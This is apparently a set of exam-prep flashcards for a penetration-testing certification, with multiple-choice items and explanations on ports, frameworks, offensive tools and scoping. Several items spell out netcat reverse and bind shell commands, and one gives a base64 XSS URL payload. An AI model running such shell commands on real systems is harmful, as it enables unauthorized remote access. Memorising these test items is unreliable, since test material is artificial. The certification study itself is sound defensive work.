3. Dion Test Prep

Study online at https://quizlet.com/_fi2w2o

You suspect that your server has been the victim of a web-based attack. Which of the following ports would most likely be seen in the logs to indicate the attack's target? A. 3389 B. 21 C. 389 D. 443	Web-based attacks would likely appear on port 80 (HTTP) or port 443 (HTTPS). An attack against Active Directory is likely to be observed on port 389 LDAP. An attack on an FTP server is likely to be observed on port 21 (FTP). An attack using the remote desktop protocol would be observed on port 3389 (RDP).
Which of the following penetration testing methodologies is focused on testing web applications and the people, processes, and technology that support them? A. Penetration Testing Execution Standard (PTES) B. Information Systems Security Assessment Framework (ISSAF) C. OWASP Testing Guide (OTG) D. Open Source Security Testing Methodology Manual (OSSTMM)	The Open Web Application Security Project (OWASP) is an organization aimed at increasing awareness of web security and provides a framework for testing during each phase of the software development process. The OWASP Testing Guide (OTG) provides different steps for the testing process and outlines the importance of assessing the entire organization, including the people, processes, and technology, during a penetration test. The Penetration Testing Execution Standard (PTES) was developed by business professionals as a best practice guide for conducting penetration testing. The PTES contains seven main sections that are used to provide a comprehensive overview of the proper structure of a complete penetration test. The Open Source Security Testing Methodology Manual (OSSTMM) was developed by the Institute for Security and Open Methodologies (ISECOM) and it outlines every area of an organization that needs testing and how to conduct the relevant tests. The Information Systems Security Assessment Framework (ISSAF) is an open-source resource available to cybersecurity professionals. The ISSAF is comprised of documents that relate to penetration testing, such as guidelines on business continuity and disaster recovery along with legal and regulatory compliance.
You are conducting banner grabbing against a target server during reconnaissance and enter the following command: Which of the following responses would you expect to receive from this command? A. Server: Microsoft-IIS/8.5 B. Server: SSH-2.0-OpenSSH 7.4 C. Server: vsFTPd-3.0.3 D. Server: DionTraining ESMTP Postfix (Ubuntu)	The nc (netcat) command is useful in conducting banner grabbing. To use netcat for banner grabbing, simply enter "nc -v IP PORT" where IP is the IP address and PORT is the port number of the service being tested. In this scenario, netcat is being used to banner grab the server on port 21, therefore you should expect the result to be a FTP server.
A penetration tester hired by a bank began searching for the bank's IP ranges by performing lookups on the bank's DNS servers, reading news articles online about the bank, monitoring what times the bank's employees came into and left work, searching job postings (with a special focus on the bank's information technology jobs), and even searching the corporate office of the bank's dumpster. Based on this description, what portion of the penetration test is being conducted? A. Active information gathering B. Passive information gathering C. Information reporting D. Vulnerability assessment	Passive information gathering. Passive information Gathering consists of numerous activities where the penetration tester gathers open-source or publicly available information without the organization under investigation being aware that the information has been accessed. Instead, active information gathering starts to probe the organization using DNS Enumeration, Port Scanning, and OS Fingerprinting techniques. Vulnerability assessments are another form of active information gathering. Information reporting occurs after the penetration test is complete, and it involves writing a final report with the results, vulnerabilities, and lessons learned during the assessment.
Which of the following penetration testing methodologies or frameworks is an open-source collection of documents that outlines every area of an organization that needs to undergo testing, as well as provides details on how those tests should be conducted? A. Open Source Security Testing Methodology Manual (OSSTMM) B. OWASP Testing Guide (OTG)	The Open Source Security Testing Methodology Manual (OSSTMM) was developed by the Institute for Security and Open Methodologies (ISECOM) and it outlines every area of an organization that needs testing and how to conduct the relevant tests. The Penetration Testing Execution Standard (PTES) was developed by business professionals as a best practice guide for conducting penetration testing. The PTES contains seven main sections that are used to provide a comprehensive overview of the proper structure of a complete penetration test. The Open Web Application Security Project (OWASP) is an organization aimed at increasing awareness of web security and provides a framework for testing during each phase of the software development process. The OWASP Testing Guide (OTG) provides different

C. Penetration Testing Execution Standard (PTES) D. Information Systems Security Assessment Framework (ISSAF)	steps for the testing process and outlines the importance of assessing the entire organization, including the people, processes, and technology, during a penetration test. The Information Systems Security Assessment Framework (ISSAF) is an open-source resource available to cybersecurity professionals. The ISSAF is comprised of documents that relate to penetration testing, such as guidelines on business continuity and disaster recovery along with legal and regulatory compliance.
Which of the following is the BEST way to regularly prevent different security threats from occurring within your network? A. Business continuity training B. User training and awareness C. Disaster recovery planning D. Penetration testing	An enterprise network's end users are the most vulnerable attack vector. Studies have shown that an investment in end-user cybersecurity awareness training has the best return on investment of any risk mitigation strategy. While a penetration test might detect various threats and vulnerabilities in your network, it does not prevent them from occurring. Disaster recovery planning creates a disaster recovery plan, which is a documented, structured approach that describes how an organization can quickly resume work after an unplanned incident. Business continuity training will teach employees what to do in the case of a business continuity plan execution. A business continuity plan defines how an organization will continue the delivery of products or services at pre-defined acceptable levels following a disruptive incident. Only end-user awareness training mitigates the biggest network vulnerability we have: our users.
You are developing your vulnerability scanning plan and attempting to scope your scans properly. You have decided to focus on the criticality of a system to the organization's operations when prioritizing the system in the scope of your scans. Which of the following would be the best place to gather the criticality of a system? A. Scope the scan based on IP subnets B. Ask the CEO for a list of the critical systems C. Conduct a nmap scan of the network to determine the OS of each system D. Review the asset inventory and BCP	To best understand a system's criticality, you should review the asset inventory and the BCP. Most organizations classify each asset in its inventory based on its criticality to the organization's operations. This helps to determine how many spare parts to have, the warranty requirements, service agreements, and other key factors to help keep these assets online and running at all times. Additionally, you can review the business continuity plan (BCP) since this will provide the organization's plan for continuing business operations in the event of a disaster or other outage. Generally, the systems or operations listed in a BCP are the most critical ones to support business operations. While the CEO may be able to provide a list of the most critical systems in a large organization, it isn't easy to get them to take the time to do it, even if they did know the answer. Worse, in most large organizations, the CEO isn't going to know what systems he relies on, but instead just the business functions they serve, again making this a bad choice. While conducting a nmap scan may help you determine what OS is being run on each system, this information doesn't help you determine criticality to operations. The same is true of using IP subnets since a list of subnets by itself doesn't provide criticality or prioritization of the assets.
You just completed a Nmap scan against a workstation and received the following output: Open Ports 135 139 445 Based on these results, which of the following operating system is most likely being run by this workstation? Windows CentOS macOS Ubuntu	The workstation is most likely running a version of the Windows operating system. Port 139 and port 445 are associated with the SMB file and printer sharing service run by Windows. Since Windows 2000, the NetBIOS file and print sharing has been running over these ports on all Windows systems by default.
Which of the following is the most difficult to confirm with an external vulnerability scan? A. Cross-site scripting (XSS) B. Cross-site request forgery (XSRF/CSRF)	Vulnerability scanners typically cannot confirm that a blind SQL injection with the execution of code has previously occurred. XSS and CSRF/XSRF are typically easier to detect because the scanner can pick up information that proves a successful attack. The banner information can usually identify unpatched servers.

C. Unpatched web server D. Blind SQL injection	
Which of the following tools should a penetration tester use to conduct password cracking of multiple network authentication types simultaneously? A. Mimikatz B. w3af C. Gobuster D. Hydra	Hydra is a password cracking tool that supports parallel testing of several network authentication types simultaneously. Mimikatz is a tool that gathers credentials by extracting key elements from memory such as cleartext passwords, hashes, and PIN codes. Gobuster is a tool that can discover subdomains, directories, and files by brute-forcing from a list of common names. The Web Application Attack and Audit Framework (w3af) allows you to identify and exploit a large set of web-based vulnerabilities, such as SQL injection and cross-site scripting.
You are working as part of a DevSecOps team at Dion Training on a new practice exam Android application. You need to conduct static analysis on the APK (Android PacKage) as part of your software assurance responsibilities. Which actions should you use to convert the APK back into the source code to analyze the type of information an attacker might gain during reverse engineering the APK? A. Compile the APK into a JAR and then convert it into the DEX source code B. Decompile the DEX to a JAR file and then convert the JAR into Java C. Convert the DEX to a JAR file and then decompile the JAR into Java D. Convert the Java code in the APK to a JAR file and then cross-compile it to a DEX	Android apps come packaged as APKs (Android PacKages). The APK contains all the application files, including the DEX file (Android bytecode/binary). To reverse the APK into the source code to conduct a static analysis, you can convert the DEX file to a JAR (Java Archive) file. Then, you can decompile the JAR file into Java source code using a decompiler. While the specifics on how to do all of this are beyond the exam's scope, you should understand the concepts and basic steps involved per the exam objectives.
Which of the following commands should be run on an attacker's system to connect to a target with a bind shell running? A. nc 192.168.1.53 31337 -e /bin/sh B. nc -lp 31337 C. nc -lp 31337 -e /bin/sh D. nc 192.168.1.53 31337	A bind shell is established when a victim system "binds" its shell to a local network port. To achieve this using netcat, you should execute the command "nc -lp 31337 -e /bin/sh" on the victim machine. This sets up a listener on the machine on port 31337 and will execute the /bin/sh when another machine connects to its listener on port 31337. The attacker would enter the command "nc 192.168.1.53 31337" to connect to the victim's bind shell. A reverse shell is established when the target machine communicates with an attack machine listening on a specific port. To set up a listener on the attack machine, you would use the command "nc -lp 31337" on it. To connect to the attacking machine from the victim machine, you would enter the command "nc 192.168.1.53 31337 -e /bin/sh" on it. D is correct.
You are working as part of a penetration testing team. You look over the shoulder of your team members and see the following sample of network traffic in Wireshark: Which of the following types of Nmap scans was run against the target based on the network traffic shown above? A. NULL scan B. XMAS Treet scan C. FIN scan D. TCP SYN scan	A TCP SYN scan is a stealth scan that sends a packet to the target with just the SYN flag set. This is what is displayed in this network traffic capture in Wireshark in this scenario. A FIN scan is used to send a packet to the target with only the FIN flag set. The NULL scan is a packet sent without any flags set. The XMAS Tree Scan sends a packet with the FIN, URG, and PSH flags set and is an extremely noisy scan to perform against a target.
What should a vulnerability report include if a cybersecurity analyst wants it to reflect the assets scanned accurately? A. Processor utilization B. Log disposition C. Organizational governance D. Virtual hosts	Vulnerability reports should include both the physical hosts and the virtual hosts on the target network. A common mistake of new cybersecurity analysts is to include physical hosts, thereby missing many network assets.
What techniques are commonly used by port and vulnerability scanners to enumerate the services running on a target system? A. Comparing response fingerprints and registry scanning B. Banner grabbing and comparing response fingerprints C. Using the -O option in nmap and UDP response timing D. Banner grabbing and UDP response timing	Service and version identification are often performed by conducting a banner grab or by checking responses for services to known fingerprints for those services. UDP response timing and other TCP/IP stack fingerprinting techniques are used to identify operating systems only. Using nmap -O will conduct an operating

	system fingerprint scan, but it will not identify the other services being run.
A supplier needs to connect several laptops to an organization's network as part of their service agreement. These laptops will be operated and maintained by the supplier. Victor, a cybersecurity analyst for the organization, is concerned that these laptops could contain some vulnerabilities that could weaken the network's security posture. What can Victor do to mitigate the risk to other devices on the network without having direct administrative access to the supplier's laptops? A. Scan the laptops for vulnerabilities and patch them B. Require 2FA (two-factor authentication) on the laptops C. Increase the encryption level of VPN used by the laptops D. Implement a jumpbox system	A jumpbox is a system on a network used to access and manage devices in a separate security zone. This would create network segmentation between the supplier's laptops and the rest of the network to minimize the risk. A jump-box system is a hardened and monitored device that spans two dissimilar security zones and provides a controlled means of access between them. While the other options listed are all good security practices, they do not fully mitigate the risk that insecure systems pose since Victor cannot enforce these configurations on a supplier-provided laptop. Instead, he must find a method of segmenting the laptops from the rest of the network, either physically, logically, using an air gap, or using a jumpbox.
Which of the following commands should be run on an attacker's system to configure it to accept a connection from a target configured to run a reverse shell? A. nc 192.168.1.53 31337 B. nc 192.168.1.53 31337 -e /bin/sh C. nc -lp 31337 D. nc -lp 31337 -e /bin/sh	: A reverse shell is established when the target machine communicates with an attack machine listening on a specific port. To set up a listener on the attack machine, you would use the command "nc -lp 31337" on it. To connect to the attacking machine from the victim machine, you would enter the command "nc 192.168.1.53 31337 -e /bin/sh" on it. A bind shell is established when a victim system "binds" its shell to a local network port. To achieve this using netcat, you should execute the command "nc -lp 31337 -e /bin/sh" on the victim machine. This sets up a listener on the machine on port 31337 and will execute the /bin/sh when another machine connects to its listener on port 31337. The attacker would enter the command "nc 192.168.1.53 31337" to connect to the victim's bind shell. C is the right answer.
Which of the following weaknesses exist in WPS-enabled wireless networks? A. Utilizes TKIP to secure the authentication handshake B. Utilizes a 24-bit initialization vector C. Utilizes a 40-bit encryption key D. Brute force occurs within 11,000 combinations	The most prominent attack against WPS0-enabled wireless networks involves brute-forcing the 8-digit PIN that client uses to enroll their devices without knowing the pre-shared key. WPS checks each half of the PIN individually, reducing the number of possible combinations from a maximum of 100,000,000 to only 11,000. This only takes a few minutes to crack on most modern computers, as long as the WAP doesn't have a lockout after a certain number of failures. The lockout mechanism may also be triggered based on the client's MAC, so you can often spoof MAC to bypass this defense.
Which of the following tools is a post-exploitation framework that would allow a penetration tester to run PowerShell agents without requiring the use of powershell.exe? A. Responder B. Empire C. Searchsploit D. Powersploit	Empire (PowerShell Empire) is a post-exploitation framework for Windows devices that allows the attacker to run PowerShell agents without needing powershell.exe. It is commonly used to escalate privileges, launch other modules to capture data, extract passwords, and install persistent backdoors. Powersploit is a series of Microsoft PowerShell scripts that pen testers can use in post-exploit scenarios. Searchsploit is a tool included in the exploitdb package on Kali Linux that enables you to search the Exploit Database archive. Responder is a fake server and relay tool that is included with Kali Linux. It responds to LLMNR, NBT-NS, POP, IMAP, SMTP, and SQL queries to possibly recover sensitive information such as user names and passwords.
During an assessment of the POS terminals that accept credit cards, a cybersecurity analyst notices a recent Windows operating system vulnerability exists on every terminal. Since these systems are all embedded and require a manufacturer update, the analyst cannot install Microsoft's regular patch. Which of the following options would be best to ensure the system remains protected and are compliant with the rules outlined by the PCI DSS? A. Identify, implement, and document compensating controls B. Replace the Windows POS terminals with standard Windows systems C. Build a custom OS image that includes the patch	Since the analyst cannot remediate the vulnerabilities by installing a patch, the next best action would be to implement some compensating controls. If a vulnerability exists that cannot be patched, compensating controls can mitigate the risk. Additionally, the analyst should document the current situation to achieve compliance with PCI DSS. The analyst will likely not remove the terminals from the network without affecting business operations, so this is a bad option. The analyst should not build a custom OS image with the patch since this could void the support agreement with the manufacturer and introduce additional vulnerabilities. Also, it would be difficult (or impossible) to replace the POS terminals

D. Remove the POS terminals from the network until the vendor releases a patch	with standard Windows systems due to the custom firmware and software utilized on these systems.
You are working as part of a penetration testing team targeting Dion Training's website. Which of the following tools should you use to attempt an XSS or injection attack against their website? A. Nikto B. Androzer C. BeEF D. Netcat	BeEF (Browser Exploitation Framework) is a penetration testing tool included with Kali Linux that focuses on web browsers. BeEF can be used for XSS and injection attacks against a website. Netcat is an open-source networking utility for debugging and investigating the network, and that can be used to create TCP/UDP connections and investigate them. Nikto is an open-source web server scanner that searches for potentially harmful files, checks for outdated web server software, and looks for problems with some web server software versions. Androzer is a security testing framework for Android apps and devices.
An attacker is searching in Google for Cisco VPN configuration files by using the filetype:pcf modifier. The attacker located several of these configuration files and now wants to decode any connectivity passwords that they might contain. What tool should the attacker use? A. Cain and Abel B. Netcat C. Nessus D. Nmap	Cain and Abel (often abbreviated to Cain) is a popular password cracking tool. It can recover many password types using methods such as network packet sniffing, cracking various password hashes by using methods such as dictionary attacks, brute force, and cryptanalysis attacks. It also includes a module to conduct Cisco VPN Client Password Decoding too. CUPP is used to create password lists. Nessus is a vulnerability scanner. The netcat tool is used to create reverse shells for remote access.
It is your first day as a penetration tester at a new job. Your boss provides you with a brand new laptop running Kali Linux. You log in and need to start up Metasploit to begin working. What command do you enter in the bash prompt? A. msfconsole B. msfvenom C. db_init D. db_connect	The Metasploit Framework is a command-line-based penetration testing framework developed by Rapid 7 that is included with Kali Linux, and that enables you to find, exploit, and validate vulnerabilities. Metasploit also has GUI-based commercial and community versions. To start up the program, type "msfconsole" at the bash prompt in Kali Linux since the program is already installed by default.
You are currently conducting passive reconnaissance in preparation for an upcoming penetration test against Dion Training. You want to identify any web pages that contain the term "password" hosted by diontraining.com. Which of the following Google hacking queries should you use? A. password inurl:diontraining.com B. password site:diontraining.com C. password link:diontraining.com D. password inanchor:diontraining.com	The site modifier is used to search only the specified website for results that contain the search term. For example, password site:diontraining.com would return only results for the word password on pages located on the Dion Training website. The inurl modifier is used to search for any pages whose URLs include the term specified and have the search term anywhere on the page. For example, password inurl:diontraining.com would return only page results whose URLs include the text "diontraining.com" and have the text "password" somewhere on the page. The link modifier is used to search for any pages that link to the website provided and have the search term anywhere on the page. For example, password link:diontraining.com would return only page results that link to Dion Training's website and have the text "password" anywhere on the page. The inanchor modifier is used to search for any pages whose anchor text includes the specified term and has the search term provider somewhere on the page. For example, password inanchor:diontraining.com would return only page results that contain diontraining.com in the anchor text and have the search term "password" anywhere on the page.
Which of the following tools should a penetration tester use to automatically crawl through a repository looking for accidental commits of secrets within GitHub? A. Ollydbg B. WPScan C. Scout Suite D. truffleHog	The truffleHog tool is used to automatically crawl through a repository looking for accidental commits of secrets within GitHub. WPScan (WordPress Security Scanner) is a tool that automatically gathers data about a WordPress site and compares its findings of plugins against a database of known vulnerabilities. ScoutSuite is an open-source tool written in Python that can be used to audit instances and policies created on multi-cloud platforms, such as AWS, Microsoft Azure, and Google Cloud. OllyDbg is a debugger included with Kali Linux that analyzes binary code found in 32-bit Windows applications.

You want to exploit the NETBIOS name service on a Windows-based network. Which of the following tools should you use? A. John the Ripper B. Responder C. Arpspoof D. Nessus	Responder provides a fake server and relay tool that is included with Kali Linux. It responds to LLMNR, NBT-NS (NETBIOS), POP, IMAP, SMTP, and SQL queries to recover sensitive information such as user names and passwords. Responder is configured to listen for LLMNR/NBNS queries and respond with itself as the desired destination. When the client then tries to connect, it prompts the user to log on based on the client's protocol, thus harvesting the user's credentials. Nessus is a popular vulnerability scanner with a module dedicated to reporting that can be helpful during the presentation of your findings in a penetration test. The arpspoof software provided by the dsniff library is used by an attacker to perform an ARP spoofing attack on the victim.
You are working as part of a penetration testing team targeting Dion Training's wireless network. Which of the following tools should you use to gather information about their wireless network? A. Kismet B. Whois C. BeEF D. Burp Suite	Kismet is an 802.11 Layer 2 wireless network detector, sniffer, and intrusion detection system included with Kali Linux. It can monitor wireless activity, identify device types, and capture raw packets for later password cracking. Whois is a protocol that queries databases that store registered users or assignees of an Internet resource, such as a domain name. YASCA (Yet Another Source Code Analyzer) is an open-source SAST program that inspects source code for security vulnerabilities, code quality, and performance. Burp Suite is an integrated platform included for testing web applications' security by acting as a local proxy so that the attacker can capture, analyze, and manipulate HTTP traffic. BeEF (Browser Exploitation Framework) is a penetration testing tool included with Kali Linux that focuses on web browsers and can be used for XSS and injection attacks against a website.
If you cannot ping a target because you are receiving no response or a response that states the destination is unreachable, then ICMP may be disabled on the remote end. If you wanted to elicit a response from a host using TCP, what tool would you use? A. Hping B. Ptunnel C. Broadcast ping D. Traceroute	Hping is a handy little utility that assembles and sends custom ICMP, UDP, or TCP packets and then displays any replies. It was inspired by the ping command but offered far more control over the probes sent. It also has a handy traceroute mode and supports IP fragmentation. Hping is particularly useful when trying to traceroute/ping/probe hosts behind a firewall that blocks attempts using the standard utilities. Hping also allows you to map out firewall rule sets. It is also great for learning more about TCP/IP and experimenting with IP protocols. Hping does not support IPv6, though, so the NMAP creators have created Nping to fill this gap and serve as an updated variant of Hping. Traceroute and tracert are computer network diagnostic commands for displaying the route and measuring packets' transit delays across an Internet Protocol network. Traceroute uses ICMP and not TCP. Broadcast ping is simply pinging the subnet's broadcast IP using the ping command, but if a regular ping does not work, neither will a broadcast ping. Ptunnel is an application that allows you to reliably tunnel TCP connections to a remote host using ICMP echo request and reply packets, commonly known as ping requests and replies. Ptunnel is used as a covert channel, not to elicit a response from a host using TCP.
You are preparing for an upcoming penetration testing engagement targeting Dion Training. Which of the following items in the scoping document should you review to determine which public-facing applications may be targeted during the engagement? A. SSID (Service Set Identifier) B. Physical location C. Autonomous system number (ASN) D. API (Application Programming Interface)	An application programming interface (API) is a library of programming utilities used to connect computers or computer programs. APIs are commonly used in cloud-based applications and public-facing web applications. Autonomous System Number (ASN) is a globally unique identifier that defines a group of one or more IP prefixes run by one or more network operators that maintain a single, clearly defined routing policy. These groups of IP prefixes are known as autonomous systems. The SSID (Service Set Identifier) is a group of wireless network devices that share a common natural language name or identifier. When conducting a wireless penetration test, it is important to have the names of the SSIDs that are in the scope of your assessment. Physical locations define which buildings or locations may be targeted as part of the assessment.

Which of the following rules of engagement provides the days and times that the penetration test can occur? A. Temporal restrictions B. Test boundaries C. Timeline D. Location of team	Temporal restrictions provide the constraints for which days and times the penetration test can be performed. For example, some rules of engagement will prevent the engagement from occurring outside of normal working hours. Conversely, others only allow the engagement to occur during working hours. This is something that should be clearly documented in the scope of work and the scoping documents. The test boundaries are used to define the acceptable actions and scope used during an engagement. The timeline of an engagement provides a clear enumeration of the tasks to be performed as part of the penetration test. The location of the team defines whether the penetration testers will conduct a remote or on-site assessment.
Which of the following rules of engagement provides a clear enumeration of the tasks to be performed as part of the penetration test? A. Test boundaries B. Location of team C. Timeline D. Temporal restrictions	The timeline of an engagement provides a clear enumeration of the tasks to be performed as part of the penetration test. This is documented in the rules of engagement. This timeline may also include who will perform each task. The timeline does not have to be written to detail the exact day or time of the task but should, at a minimum, provide a logical sequence or order to the engagement. Test boundaries, temporal restrictions, and the location of the team may also be included in the rules of engagement or the scoping documents, but they do not provide a clear enumeration of the tasks to be performed during the penetration test like a timeline does.
Which of the following techniques does a vulnerability scanner use to detect a vulnerability on a specific service? A. Banner grabbing B. Port scanning C. Fuzzing D. Analyzing the response received from the service when probed	When a vulnerability scanner analyzes the response received from services during a scan or probe, it can determine if the vulnerability exists on the given service on a particular host. Port Scanning is the name for the technique used to identify open ports and services available on a network host. Fuzzing or fuzz testing is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program. Banner grabbing is a technique used to gain information about a computer system on a network and the services running on its open ports.
You are drafting the technical constraints for an upcoming penetration test. Which of the following would be a correct example of a technical constraint in a scoping document? A. Passive reconnaissance shall not be used during this engagement B. The legacy server may not be subject to a DoS or buffer overflow attack during this engagement C. All findings must be kept confidential and only shared with the personnel listed in this agreement D. Spearphishing of employees is not allowed during this engagement	A technical constraint is any item that is specifically excluded from the penetration test engagement. In general, these constraints will be technical in nature. For example, a legacy server may be considered too fragile to withstand denial of service or buffer overflow attacks. Other technical constraints may focus on the tools used based on the cost that would be involved. For example, it may be too costly to perform a USB key drop in the parking lot of a remote data center, so there may be a technical constraint to only allow remote attacks during the engagement.
An attacker recently compromised an e-commerce website for a clothing store. Which of the following methods did the attacker use to harvest an account's cached credentials when the user logged into an SSO system? A. Pivoting B. Lateral movement C. Pass the hash D. Golden ticket	: Pass the Hash (PtH) is the process of harvesting an account's cached credentials when the user logs in to a single sign-on (SSO) system. This would then allow the attacker to use the credentials on other systems, as well. A golden ticket is a Kerberos ticket that can grant other tickets in an Active Directory environment. Attackers who can create a golden ticket can use it to grant administrative access to other domain members, even to domain controllers. Lateral movement is an umbrella term for a variety of attack types. Attackers can extend their lateral movement by a great deal if they can compromise host credentials. Pivoting is a process similar to lateral movement. When attackers pivot, they compromise one central host (the pivot) that allows them to spread out to other hosts that would otherwise be inaccessible.
A new alert has been distributed throughout the information security community regarding a critical Apache vulnerability. What action could you take to ONLY identify the known vulnerability?	Since you wish to check for only the known vulnerability, you should scan for that specific vulnerability on all web servers. All web servers are chosen because Apache is a web server application. While performing an authenticated scan of all web servers

A. Perform a scan for the specific vulnerability on all web servers B. Perform a web vulnerability scan on all servers in the environment C. Perform an unauthenticated vulnerability scan on all servers in the environment D. Perform an authenticated scan on all web servers in the environment	or performing a web vulnerability scan of all servers would also find these vulnerabilities, it is a much larger scope. It would waste time and processing power by conducting these scans instead of properly scoping the scans based on your needs. Performing unauthenticated vulnerability scans on all servers is also too large in scope (all servers) while also being less effective (unauthenticated scan).
You have been asked to determine if Dion Training's web server is vulnerable to a recently discovered attack on an older version of SSH. Which technique should you use to determine the current version of SSH running on their web server? A. Passive scan B. Protocol analysis C. Vulnerability scan D. Banner grabbing	Banner grabbing is conducted by actively connecting to the server using telnet or netcat and collecting the web server's response. This banner usually contains the server's operating system and the version number of the service (SSH) being run. This is the fastest and easiest way to determine the SSH version being run on this web server. While it is possible to use a vulnerability scanner, protocol analyzer, or to conduct a passive scan to determine the SSH version, these are more time-consuming and not fully accurate methods to determine the version being run.
Which of the following commands should be run on a victim's system to connect to a reverse shell? A. nc -lp 31337 B. nc -lp 31337 -e /bin/sh C. nc 192.168.1.53 31337 -e /bin/sh D. nc 192.168.1.53 31337	A reverse shell is established when the target machines communicate with an attack machine listening on a specific port. To set up a listener on the attack machine, you would use the command "nc -lp 31337" on it. To connect to the attacking machine from the victim machine, you would enter the command "nc 192.168.1.53 31337 -e /bin/sh" on it. A bind shell is established when a victim system "binds" its shell to a local network port. To achieve this using netcat, you should execute the command "nc -lp 31337 -e /bin/sh" on the victim machine. This sets up a listener on the machine on port 31337 and will execute the /bin/sh when another machine connects to its listener on port 31337. The attacker would enter the command "nc 192.168.1.53 31337" to connect to the victim's bind shell.
You are conducting static analysis of an application's source code and see the following: request . get parameter (" ID ") Based on this code snippet, which of the following security flaws exists in this application? Improper error handling Insufficient logging and monitoring Race condition Improper input validation	Based on this code snippet, the application is not utilizing input validation. This would allow a malicious user to conduct an XSS (cross-site scripting) attack. This could cause the victim ID to be sent to "malicious-website.com" where additional code could be run, or the session can then be hijacked. Based on the code snippet provided, we have no indications of the level of logging and monitoring being performed, nor if proper error handling is being conducted. A race condition is a software vulnerability when the resulting outcome from execution processes is directly dependent on the order and timing of certain events. Those events fail to execute in the order and timing intended by the developer.
You are working as part of a penetration testing team targeting Dion Training's Linux-based network. You want to determine if you can crack the password on their remote authentication servers. Which of the following tools should you use? A. Mimikatz B. Medusa C. CeWL D. W3AF	Medusa is a command-line-based free password cracking tool often used in brute force password attacks on remote authentication servers. W3AF (Web Application Attack and Audit Framework) is a Python tool included in Kali Linux that tries to identify and exploit any web app vulnerabilities. CeWL is a ruby app that crawls websites to generate word lists for use with other password crackers. Mimikatz is an open-source tool that enables you to view credential information stored on Microsoft Windows computers.
You are conducting a penetration test and have been asked to simulate an APT. You have established TLS network connections from a victimized host in the organization's intranet to your workstation which you are using to attempt data exfiltration from the server. The TLS connection is occurring from an end user's workstation over an ephemeral port to your workstation's listener setup on port 443. You have placed modified versions of svchost.exe and cmd.exe in the victimized host's %TEMP% folder and set up scheduled tasks to establish a connection from the victimized host to your workstation every morning at 3 am. Which of the following types of post-exploitation techniques is being used? A. Reverse shell B. Trojan	A reverse shell is established when the target machine communicates with an attack machine that is listening on a specific port. Reverse shells are effective in bypassing firewalls, port filtering, and network address translations, unlike a bind shell. A bind shell allows a target system to bind its shell to a local network port and accept inbound connections. Bind shells may be blocked by a firewall filtering incoming traffic on the given port, though. A trojan is a malicious software program hidden within an innocuous-seeming piece of software. Usually, the Trojan is used to try to compromise the security of the target computer. A daemon is used on Linux

C. Daemon D. Bind shell	systems to act as a service that runs in the background without being attached to a terminal.
Jason is conducting a penetration test against an organization's Windows network. This engagement aims to demonstrate what a trusted insider could do to the organization's network. The organization provided Jason with a corporate laptop and a standard user account as an entry-level employee. He was able to download his exploit (exploit.exe) and some programs from SysInternals to his desktop. He then enters the following commands into the command shell from this standard user account: Based on the output above, which of the following types of vulnerabilities was exploited? A. Unquoted service paths B. Insecure file/folder permissions C. Writeable services D. Insecure sudo	In this example, Jason used the accesschk program to determine which folders had write access within the Windows directory. When he found three that had insecure file/folder permissions, he copied his exploit to that folder (c:\Windows\Branding) and then attempted to run it from that location. Based on the results, it appears he was successful. This is likely due to the system administrator only allowing trusted programs to run from the Desktop.
Susan, a penetration tester is attempting to conduct an application-based attack against a test and development server. Susan enters the following URL, http://test.diontraining.com/ ?param = < data:text/ html;base64 to attempt the attack. What type of attack is being attempted? A. XML injection B. SQL injection C. Cross-site scripting D. Password spraying	This is an example of a URL-based XSS (cross-site scripting) attack. A cross-site scripting attack uses a specially crafted URL that includes attack code that will cause information that users enter into their web browser to be sent to the attacker. In this example, everything from ?param onward is part of the attack. You can see the base64 encoded string of PHNjcmlwdD5hbGVydCgnSSBsb3ZlIERpb24gVHJhaW5pbmcnKTwvc2NyaXB0Pg = = being used. While you could not convert it during the exam without a base64 decoder, you should be able to tell that it is not a SQL injection nor an XML injection based on your studies. It is also not an attempt to conduct password spraying by logging into different usernames with the same password. So, by process of elimination, you can determine this is an XSS attack. If you did have a base64 decoder, you would have found that the parameter being passed would translate to , which is a simple method to cause your web browser to create a popup that displays the text "I love Dion Training." If you attempt to load this URL in your browser, it may or may not function depending on your browser's security.
You have just conducted an automated vulnerability scan against a static webpage without any user input fields. You have been asked to adjudicate the scanner's findings in the automated report. Which of the following is MOST likely to be a false positive? A. Insecure HTTP methods allowed B. Command injection allowed C. Directory listing enabled D. Reflected XSS	A command injection is unlikely since this is a static webpage and does not accept any user input. A command injection allows the user to supply malicious input to the web server and then passes that data to a system shell for execution. In this sense, command injection does create new instances of execution and can, therefore, leverage languages that the web app does not directly support.
You are a cybersecurity analyst, and your company has just enabled key-based authentication on its SSH server. Review the following log file: *Several SSH login attempts from same IP but different usernames* Which of the following actions should be performed to secure the SSH server? A. Disable anonymous SSH logon B. Disable remote root SSH logon C. Disable SSHv1 D. Disable password authentication for SSH	It is common for attackers to log in remotely using the ssh service and the root or other user accounts. The best way to protect your server is to disable password authentication over ssh. Since your company just enabled key-based authentication on the SSH server, all legitimate users should be logging in using their RSA key pair on their client machines, not usernames and passwords. Based on the logs, you see the server runs SSHv2, so there is no need to disable SSHv1 (it may already be disabled). You don't want to fully disable remote root SSH logins, either, since this would make it difficult for administrators to conduct their work. Finally, based on the logs, it doesn't appear that anonymous SSH logins are an issue, either, as we don't see any anonymous attempts in the logs.
Which of the following information is traditionally found in the Scope of Work (SOW) for a penetration test? A. Format of the executive summary report B. Excluded hosts	A Scope of Work (SOW) for a penetration test normally contains the list of excluded hosts. This ensures that the penetration tester does not affect hosts, workstations, or servers outside the assessment scope. The timing of the scan and the maintenance windows are usually found in the rules of engagement (ROE). The executive summary report contents are usually not identified in any of the

C. Maintenance windows D. Timing of the scan	scoping documents, only the requirement of whether such a report is to be delivered at the end of the assessment.
You are attempting to exploit a network-based vulnerability against a Windows server. You configure Metasploit with the following options below and enter the run command. Which of the following types of exploits are you attempting? A. Pass the hash B. Credential brute forcing C. Sandbox escape D. Credential harvesting	A pass the hash attack is a network-based attack where the attacker steals hashed user credentials and uses them as-is to try to authenticate to the same network the hashed credentials originated on. When authenticating with a username and password, the password is hashed once you type it in. Therefore, the computer doesn't recognize a difference between the password and the hash itself. So, if you use psexec to send the hash to the system directly, it can be used to authenticate you as that user without actually knowing the user's password. The key to answering this question is identifying that the smbpass parameter is being set to a password hash of a specified user.
